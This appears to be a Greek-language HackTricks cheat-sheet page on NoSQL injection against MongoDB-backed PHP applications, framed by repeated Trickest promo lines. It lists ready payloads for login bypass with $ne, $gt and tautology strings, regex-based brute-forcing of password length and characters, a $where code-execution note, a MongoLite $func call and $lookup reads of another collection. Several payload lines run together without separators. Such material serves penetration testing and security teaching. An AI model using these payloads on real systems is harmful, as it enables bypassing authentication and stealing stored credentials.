Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα αποθετήρια του HackTricks](https://github.com/carlospolop/hacktricks) και του HackTricks Cloud.
Εκμετάλλευση
Στην PHP μπορείτε να στείλετε έναν πίνακα αλλάζοντας την παράμετρο που στέλνετε από parameter=foo σε parameter[arrName]=foo.
Οι εκμεταλλεύσεις βασίζονται στην προσθήκη ενός Τελεστή:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Βασική παράκαμψη ταυτοποίησης
Χρησιμοποιώντας τον τελεστή διαφορετικότητας ($ne) ή μεγαλύτερος ($gt)
Ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό εισάγοντας συμβολοσειρές όπως admin' || 'a'=='a, κάνοντας το ερώτημα να επιστρέψει όλα τα έγγραφα εκπληρώνοντας τη συνθήκη με μια ταυτολογία ('a'=='a'). Αυτό είναι ανάλογο με τις επιθέσεις εισροών SQL όπου χρησιμοποιούνται εισροές όπως ' or 1=1-- - για την παραπλάνηση των ερωτημάτων SQL. Στη MongoDB, παρόμοιες εισροές μπορούν να γίνουν χρησιμοποιώντας εισροές όπως ' || 1==1//, ' || 1==1%00, ή admin' || 'a'=='a.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Εξαγωγή πληροφοριών μήκους
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Χρησιμοποιώντας τον τελεστή $func της βιβλιοθήκης MongoLite (χρησιμοποιείται από προεπιλογή) είναι πιθανόν να εκτελεστεί μια αυθαίρετη συνάρτηση όπως σε αυτήν την αναφορά.
"user":{"$func":"var_dump"}
Λήψη πληροφοριών από διαφορετική συλλογή
Είναι δυνατόν να χρησιμοποιήσετε το $lookup για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια διαφορετική συλλογή που ονομάζεται users και λαμβάνουμε τα αποτελέσματα όλων των καταχωρήσεων με έναν κωδικό πρόσβασης που ταιριάζει με ένα μπαλαντέρ.
ΣΗΜΕΙΩΣΗ: Το $lookup και άλλες λειτουργίες συγκέντρωσης είναι διαθέσιμες μόνο εάν η λειτουργία aggregate() χρησιμοποιήθηκε για την εκτέλεση της αναζήτησης αντί των πιο συνηθισμένων λειτουργιών find() ή findOne().
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας.
Αποκτήστε πρόσβαση σήμερα:
Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της κοινότητας.
Αποκτήστε πρόσβαση σήμερα: